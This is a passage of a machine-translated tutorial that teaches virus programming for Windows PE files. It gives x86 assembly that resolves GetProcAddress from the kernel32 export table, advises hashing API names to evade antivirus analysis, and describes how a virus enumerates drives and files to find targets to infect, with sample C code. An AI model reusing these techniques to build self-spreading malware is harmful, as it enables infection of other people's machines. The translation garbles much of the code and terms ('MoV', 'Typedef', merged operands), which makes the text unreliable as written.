Virus programming technology-4

Parse PE File Export function table

The function export mechanism of PE files is an important mechanism for dynamic calling between modules. For normal programs, related operations are automatically completed by the system loader before the program is loaded, it is transparent to user programs. However, to dynamically resolve the function address in virus code to replace the loader, it is necessary to understand the structure of the function export table. As shown in figure 1, the PE Header structure image_optional_header32 contains a datadirectory array structure, which contains 16 members, each of which is in an image_data_directory structure:
Typedef struct _ image_data_directory {
DWORD virtualaddress;
DWORD size;
} Image_data_directory, * pimage_data_directory;
Each structure of the datadirectory array points to an important data structure. The first member points to the exported function table (index 0), and the second Member points to the imported function table (Index 1) of the PE file ). The first member in datadirectory points to the image_export_directory structure of the export function table:
Typedef struct _ image_export_directory {
DWORD characteristics;
DWORD timedatestamp;
Word majorversion;
Word minorversion;
DWORD name;
DWORD base;
DWORD numberoffunctions;
DWORD numberofnames;
DWORD addressoffunctions; // RVA from base of Image
DWORD addressofnames; // RVA from base of Image
DWORD addressofnameordinals; // RVA from base of Image
} Image_export_directory, * pimage_export_directory;
Addressoffunctions is a dual-word group that contains the RVA of all export functions. The other two members addressofnames are also a dual-word group that contains the RVA that points to the name of the export function, addressofnameordinals is a 16-bit word group, which is parallel to the addressofnames array. Together with the addressofnames array, the serial number of the corresponding derived function is determined, this sequence number can be directly used to index the addressoffunctions array to obtain the address of the export function. Therefore, the specified API for virus search includes the following steps:

A) obtain the numberofnames value and the addresses of the arrays of addressofnames, addressofnameordinals, and addressoffunctions.
B) Search for the addressofnames array and compare it by string. If the corresponding API is found, convert it
C) if the numberofnames name has not been fully searched, go to B to continue searching. if the search is complete, it indicates that no error is found for troubleshooting. This step can be omitted, because we already know that the corresponding functions must be exported in the corresponding DLL.
D) obtain the index of the current function name pointer in the addressofnames array. In the addressofnameordinals array, retrieve the function serial number indexed with this value, and use this serial number value as the index of the addressoffunctions array, in the addressoffunctions array, extract the RVA value of the export function, and add the base address to get the address of the export function at runtime.

It seems to be copeat. In fact, this is the sacrifice of PE design to consider flexibility. However, the implementation is relatively simple. Generally, less than 100 bytes after compilation of assembly code. The complete code for searching getprocaddress in Kernel32 is as follows:

Push ESI
; ESI = va kernel32.base
; EDI = RVA k32.pehdr
MoV EBP, ESI
MoV EDI, [EBP + EDI + Peh. datadirectory]

Push EDI ESI

MoV eax, [EBP + EDI + peexc. addressofnames]
MoV edX, [EBP + EDI + peexc. addressofnameordinals]
Call @ F
DB "getprocaddress", 0
@@:
Pop EDI
MoV ECx, 15
Sub eax, 4
Next _:
Add eax, 4
Add EDI, ECx
Sub EDI, 15
MoV ESI, [EBP + eax]
Add ESI, EBP
MoV ECx, 15
Repz cmpsb; string comparison to determine whether it is a function to be searched
Jnz next _

Pop ESI EDI

Sub eax, [EBP + EDI + peexc. addressofnames]
SHR eax, 1
Add edX, EBP
Movzx eax, word [edX + eax]
Add ESI, [EBP + EDI + peexc. addressoffunctions]
Add EBP, [ESI + eax * 4]; EBP = kernel32.getprocaddress. ADDR
; Use getprocaddress and hmodule to get other func
Pop ESI; ESI = Kernel32 Base
When parsing and exporting the function table to obtain the API address, you can directly compare the string to determine whether the corresponding API is found. In fact, you can also calculate the hash of the function name, compared with the pre-calculated hash, the modern PE virus uses more hash methods, because the average function name length is greater than 4 bytes, however, using hash only occupies 4 or 2 bytes, which can save space. In addition, it also provides anti-virus analysis, because hash is much more confusing than string names. As long as the hash algorithm can be designed without conflict, mature algorithms such as CRC can be used, or you can design your own simple algorithms. The crc16 algorithm is used in elkern.

* File search

File Search is one of the important functional modules of viruses and the key to infection and transmission. Modern windows and various mobile media file systems may use a variety of complex formats, so it is not realistic to try to directly access the file system (read/write sector) like some dos viruses. Generally, the findfirstfile and findnextfile of Win32 API are used to search all directories and files in the current directory. By judging the file properties, you can determine whether the files are directories or executable files, for executable files, the infection is performed according to the pre-designed infection policy. For all subdirectories in the current directory and special .. parent directory, which can be recursively or non-recursively traversed using all the above two APIs. Therefore, starting from any sub-directory of a drive or shared folder on the network, you can traverse all files and directories in the current drive or network shared folder. Generally, the search file starts from the root directory of the drive or shared folder. How do I obtain the list of all the drives or shared folders in the current system? For the previous question, we know that windows can be divided into :~ Z: a total of 26 logical drive letters. Therefore, you can start from a: To search for all the drives incrementally. Use the Win32 API getdrivetype to determine whether the drive letter currently searched exists, and whether it is a fixed hard disk, removable storage media, writable or network drive. Generally, viruses only infect hard disks or network drives. Since the Assembly Language is too lengthy to express the algorithm, the algorithm is described in the C language. Of course, converting the C algorithm into the assembly language is a very simple process.
The following code, enumdisk. cpp, displays the properties related to each drive of the A-Z:

# Include
# Include

# Define max_drivename_length 64
Void _ cdecl main (INT argc, char * argv [])
{
Char drivename [max_drivename_length];
Char * P;
Unsigned int drv_attr;

P = drivename;
Strncpy (drivename, "A:", max_drivename_length );

For (; * P <'Z'; ++ * P ){
Drv_attr = getdrivetype (P );

Switch (drv_attr)
{
Case drive_unknown: // unknown type
Printf ("Drive % S type % s/n", P, "drive_unknown"); break;
Case drive_no_root_dir: // The drive does not exist.
Printf ("Drive % S type % s/n", P, "drive_no_root_dir"); break;
Case drive_removable: // removable disk, floppy disk, USB disk, or mobile hard disk
Printf ("Drive % S type % s/n", P, "drive_removable"); break;
Case drive_fixed: // fixed Hard Disk
Printf ("Drive % S type % s/n", P, "drive_fixed"); break;
Case drive_remote: // usually a ing network drive
Printf ("Drive % S type % s/n", P, "drive_remote"); break;
Case drive_cdrom: // CD
Printf ("Drive % S type % s/n", P, "drive_cdrom"); break;
Case drive_ramdisk: // RAM disk
Printf ("Drive % S type % s/n", P, "drive_ramdisk"); break;
}
}
}
　　
Unlike displaying only one piece of information, the virus calls the file enumeration function (such as the enum_path function provided later) to traverse all the files on the drive_fixed drive from the current root directory, file infection is performed according to the predefined policy.